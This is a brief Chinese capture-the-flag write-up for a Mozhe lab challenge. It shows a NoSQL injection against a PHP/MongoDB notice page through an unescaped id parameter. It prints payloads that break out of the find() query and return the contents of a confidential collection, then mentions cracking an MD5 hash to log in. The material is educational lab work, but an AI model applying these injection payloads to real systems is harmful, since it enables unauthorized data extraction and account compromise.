做题记录|墨者SQL手工注入漏洞测试(MongoDB数据库)题解

【做题记录|墨者SQL手工注入漏洞测试(MongoDB数据库)题解】题目的环境是Nginx+PHP+MongoDB。并且给了如下代码
做题记录|墨者SQL手工注入漏洞测试(MongoDB数据库)题解
文章图片

在题目的考察知识点方面,说到了MD5值。
首先我们来打开链接,发现是用户登录界面(如果不是请稍等一会),然后和往常一样,点击那个通知,发现id的信息
做题记录|墨者SQL手工注入漏洞测试(MongoDB数据库)题解
文章图片

我们读一下代码,在query这个部分,把id插入后,直接返回了查询的data。
用户输入的id的值没有经过任何转义就直接插入数据库中执行,在这个地方我们可以将id的值为

1'});

这样查询语句就变成了
db.notice.find({'id':'1'})'})

能看出后面的部分被过滤了,那么如果修改为以下部分
id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1

组装后的语句为
db.notice.find({'id':'1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1'})

find函数的作用是查出所有数据,tojson是转换为json格式,这样就能查出所有Authority_confidential库中的数据了,效果如下
做题记录|墨者SQL手工注入漏洞测试(MongoDB数据库)题解
文章图片

解一下md5值,然后登录进去,拿到key
做题记录|墨者SQL手工注入漏洞测试(MongoDB数据库)题解
文章图片

    推荐阅读